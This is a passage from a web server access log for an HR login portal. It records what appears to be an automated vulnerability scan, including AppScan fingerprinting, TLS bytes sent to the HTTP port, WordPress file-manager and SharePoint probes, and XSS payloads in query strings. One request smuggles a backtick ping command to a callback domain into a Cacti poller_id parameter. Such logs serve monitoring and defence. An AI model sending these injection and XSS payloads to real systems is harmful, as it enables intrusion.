/ehr/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:58 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:48:58 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 8967 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:58 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 8967 100.64.0.1 - - [05/Dec/2025:21:48:59 +0800] "GET /ehr/img/login.swf HTTP/1.1" 200 2760 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php?loginerror=Attack+error." "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:59 +0800] "GET /ehr/img/login.swf HTTP/1.1" 200 2760 100.64.0.1 - - [05/Dec/2025:21:48:59 +0800] "GET /ehr/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php?loginerror=Attack+error." "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:59 +0800] "GET /ehr/js/flash_detect_min.js HTTP/1.1" 200 2477 100.64.0.1 - - [05/Dec/2025:21:48:59 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php?loginerror=Attack+error." "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:59 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 100.64.0.1 - - [05/Dec/2025:21:48:59 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php?loginerror=Attack+error." "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:59 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:48:59 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php?loginerror=Attack+error." "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:59 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:48:59 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:59 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:48:59 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 8967 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:48:59 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 8967 100.64.0.1 - - [05/Dec/2025:21:48:59 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 100.64.0.1 - - [05/Dec/2025:21:48:59 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php?loginerror=Attack+error." "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:49:00 +0800] "GET /ehr/ess/index.php?lang= HTTP/1.1" 200 8783 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php?loginerror=Attack+error." "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:49:00 +0800] "GET /ehr/ess/index.php?lang= HTTP/1.1" 200 8783 100.64.0.1 - - [05/Dec/2025:21:49:01 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php?loginerror=Attack+error." "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:49:01 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 100.64.0.1 - - [05/Dec/2025:21:49:02 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang= HTTP/1.1" 200 6833 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php?lang=" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:49:02 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang= HTTP/1.1" 200 6833 100.64.0.1 - - [05/Dec/2025:21:49:02 +0800] "GET /ehr/ess/index.php?lang= HTTP/1.1" 200 8985 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php?loginerror=Attack+error." "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:49:02 +0800] "GET /ehr/ess/index.php?lang= HTTP/1.1" 200 8985 100.64.0.1 - - [05/Dec/2025:21:49:02 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php?loginerror=Attack+error." "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:49:02 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:49:02 +0800] "GET /ehr/ess/function.session-destroy HTTP/1.1" 404 230 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php?lang=" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:49:02 +0800] "GET /ehr/ess/function.session-destroy HTTP/1.1" 404 230 100.64.0.1 - - [05/Dec/2025:21:49:02 +0800] "GET /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:49:02 +0800] "GET /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:49:06 +0800] "GET /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:49:06 +0800] "GET /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:49:08 +0800] "\x16\x03" 501 204 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:49:08 +0800] "\x16\x03" 501 204 100.64.0.1 - - [05/Dec/2025:21:49:08 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:49:08 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:21:49:08 +0800] "\x16\x03" 501 204 100.64.0.1 - - [05/Dec/2025:21:49:08 +0800] "\x16\x03" 501 204 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:49:08 +0800] "\x16\x03\x02" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:49:08 +0800] "\x16\x03\x02" 501 205 100.64.0.1 - - [05/Dec/2025:21:49:08 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:49:08 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:21:49:08 +0800] "\x16\x03" 501 204 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:49:08 +0800] "\x16\x03" 501 204 100.64.0.1 - - [05/Dec/2025:21:49:08 +0800] "\x16\x03\x02" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:49:08 +0800] "\x16\x03\x02" 501 205 100.64.0.1 - - [05/Dec/2025:21:49:08 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:49:08 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:21:49:08 +0800] "\x16\x03\x03" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:49:08 +0800] "\x16\x03\x03" 501 205 100.64.0.1 - - [05/Dec/2025:21:49:09 +0800] "\x16\x03\x02" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:49:09 +0800] "\x16\x03\x02" 501 205 100.64.0.1 - - [05/Dec/2025:21:49:09 +0800] "\x16\x03\x01\x01\x99\x01" 501 208 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:49:09 +0800] "\x16\x03\x01\x01\x99\x01" 501 208 100.64.0.1 - - [05/Dec/2025:21:49:09 +0800] "\x16\x03\x03" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:49:09 +0800] "\x16\x03\x03" 501 205 100.64.0.1 - - [05/Dec/2025:21:49:09 +0800] "\x16\x03\x01\x01\x90\x01" 501 208 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:49:09 +0800] "\x16\x03\x01\x01\x90\x01" 501 208 100.64.0.1 - - [05/Dec/2025:21:49:09 +0800] "\x16\x03\x03" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:49:09 +0800] "\x16\x03\x03" 501 205 100.64.0.1 - - [05/Dec/2025:21:49:09 +0800] "\x16\x03\x03" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:49:09 +0800] "\x16\x03\x03" 501 205 100.64.0.1 - - [05/Dec/2025:21:49:09 +0800] "\x16\x03\x01\x01\x99\x01" 501 208 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:49:09 +0800] "\x16\x03\x01\x01\x99\x01" 501 208 100.64.0.1 - - [05/Dec/2025:21:49:09 +0800] "GET /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:49:09 +0800] "GET /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:49:09 +0800] "\x16\x03\x02" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:49:09 +0800] "\x16\x03\x02" 501 205 100.64.0.1 - - [05/Dec/2025:21:49:09 +0800] "\x16\x03\x01\x01\x90\x01" 501 208 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:49:09 +0800] "\x16\x03\x01\x01\x90\x01" 501 208 100.64.0.1 - - [05/Dec/2025:21:49:09 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:49:09 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:21:49:10 +0800] "\x16\x03\x03" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:49:10 +0800] "\x16\x03\x03" 501 205 100.64.0.1 - - [05/Dec/2025:21:49:10 +0800] "\x16\x03\x01\x01\x99\x01" 501 208 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:49:10 +0800] "\x16\x03\x01\x01\x99\x01" 501 208 100.64.0.1 - - [05/Dec/2025:21:49:11 +0800] "\x16\x03\x01\x01\x90\x01" 501 208 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:49:11 +0800] "\x16\x03\x01\x01\x90\x01" 501 208 100.64.0.1 - - [05/Dec/2025:21:49:11 +0800] "\x16\x03\x02" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:49:11 +0800] "\x16\x03\x02" 501 205 100.64.0.1 - - [05/Dec/2025:21:49:11 +0800] "\x16\x03\x03" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:49:11 +0800] "\x16\x03\x03" 501 205 100.64.0.1 - - [05/Dec/2025:21:49:11 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:49:11 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:21:49:12 +0800] "\x16\x03\x02" 501 205 100.64.0.1 - - [05/Dec/2025:21:49:12 +0800] "\x16\x03\x02" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:49:12 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:21:49:12 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:21:49:21 +0800] "GET /AppScan_fingerprint/MAC_ADDRESS_NO_MAC_ADDRESS.html HTTP/1.0" 404 249 100.64.0.1 - - [05/Dec/2025:21:49:21 +0800] "GET /AppScan_fingerprint/MAC_ADDRESS_NO_MAC_ADDRESS.html HTTP/1.0" 404 249 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:49:21 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:49:21 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:49:22 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:49:22 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:49:25 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:49:25 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:49:29 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:49:29 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:49:32 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:49:32 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:49:35 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:49:35 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:49:39 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:49:39 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:49:42 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:49:42 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:49:45 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:49:45 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:49:49 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:49:49 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:49:52 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:49:52 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:49:56 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:49:56 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:49:59 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:49:59 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:02 +0800] "GET /_layouts/15/picker.aspx HTTP/1.1" 404 221 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:02 +0800] "GET /_layouts/15/picker.aspx HTTP/1.1" 404 221 100.64.0.1 - - [05/Dec/2025:21:50:02 +0800] "POST /extensions/file-manager/http_download.cgi?module=filemin HTTP/1.1" 404 239 "http://hcp.maglayers.com.cn:8088/filemin/?xnavigation=1" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:02 +0800] "POST /extensions/file-manager/http_download.cgi?module=filemin HTTP/1.1" 404 239 100.64.0.1 - - [05/Dec/2025:21:50:02 +0800] "POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1" 404 262 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:02 +0800] "POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1" 404 262 100.64.0.1 - - [05/Dec/2025:21:50:02 +0800] "POST /extensions/file-manager/chmod.cgi?module=filemin&page=1&paginate=30 HTTP/1.1" 404 231 "http://hcp.maglayers.com.cn:8088/filemin/?xnavigation=1" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:02 +0800] "POST /extensions/file-manager/chmod.cgi?module=filemin&page=1&paginate=30 HTTP/1.1" 404 231 100.64.0.1 - - [05/Dec/2025:21:50:02 +0800] "GET /_layouts/15/picker.aspx HTTP/1.1" 404 221 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:02 +0800] "GET /_layouts/15/picker.aspx HTTP/1.1" 404 221 100.64.0.1 - - [05/Dec/2025:21:50:02 +0800] "GET /ZMXNCBV1.cgi?ip=192.168.0.100&port=8371&varId=1 HTTP/1.1" 404 210 "http://hcp.maglayers.com.cn:8088/filemin/?xnavigation=1" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:02 +0800] "GET /ZMXNCBV1.cgi?ip=192.168.0.100&port=8371&varId=1 HTTP/1.1" 404 210 100.64.0.1 - - [05/Dec/2025:21:50:02 +0800] "GET /_layouts/15/picker.aspx HTTP/1.1" 404 221 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:02 +0800] "GET /_layouts/15/picker.aspx HTTP/1.1" 404 221 100.64.0.1 - - [05/Dec/2025:21:50:02 +0800] "GET /_layouts/15/picker.aspx HTTP/1.1" 404 221 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:02 +0800] "GET /_layouts/15/picker.aspx HTTP/1.1" 404 221 100.64.0.1 - - [05/Dec/2025:21:50:02 +0800] "GET /wp-content/plugins/wp-file-manager/lib/files/cveTws.php HTTP/1.1" 404 253 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:02 +0800] "GET /wp-content/plugins/wp-file-manager/lib/files/cveTws.php HTTP/1.1" 404 253 100.64.0.1 - - [05/Dec/2025:21:50:02 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:02 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:02 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:02 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /wp-admin/admin-ajax.php?action=qem_ajax_calendar&category=%3C/script%3E%3Cscript%3Ealert(3)%3C/script%3E HTTP/1.1" 404 221 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /wp-admin/admin-ajax.php?action=qem_ajax_calendar&category=%3C/script%3E%3Cscript%3Ealert(3)%3C/script%3E HTTP/1.1" 404 221 100.64.0.1 - - [05/Dec/2025:21:50:02 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:02 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /wp-admin/admin-ajax.php?action=add_inpost_gallery_slide_item&imgurl=%22%3E%3Csvg%20onload=alert(4)%3E HTTP/1.1" 404 221 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /wp-admin/admin-ajax.php?action=add_inpost_gallery_slide_item&imgurl=%22%3E%3Csvg%20onload=alert(4)%3E HTTP/1.1" 404 221 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1" 404 262 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1" 404 262 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /wp-admin/index.php?page=system-dashboard HTTP/1.1" 404 216 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /wp-admin/index.php?page=system-dashboard HTTP/1.1" 404 216 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "POST /ajaxPages/writeBrowseFilePathAjax.php HTTP/1.1" 404 235 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0" 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "POST /ajaxPages/writeBrowseFilePathAjax.php HTTP/1.1" 404 235 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /index.php/myAccount HTTP/1.1" 404 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /index.php/myAccount HTTP/1.1" 404 217 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /wp-content/plugins/wp-file-manager/lib/files/cveAdns.php HTTP/1.1" 404 254 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /wp-content/plugins/wp-file-manager/lib/files/cveAdns.php HTTP/1.1" 404 254 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=%60ping%20-c%201%20v3-ping-7-71f7e02d-b8a5-4946-9b78-4efb4ef39867.adns.appsechcl.com%60 HTTP/1.1" 404 214 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=%60ping%20-c%201%20v3-ping-7-71f7e02d-b8a5-4946-9b78-4efb4ef39867.adns.appsechcl.com%60 HTTP/1.1" 404 214 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "POST /javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1" 404 250 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:50:03 +0800] "POST 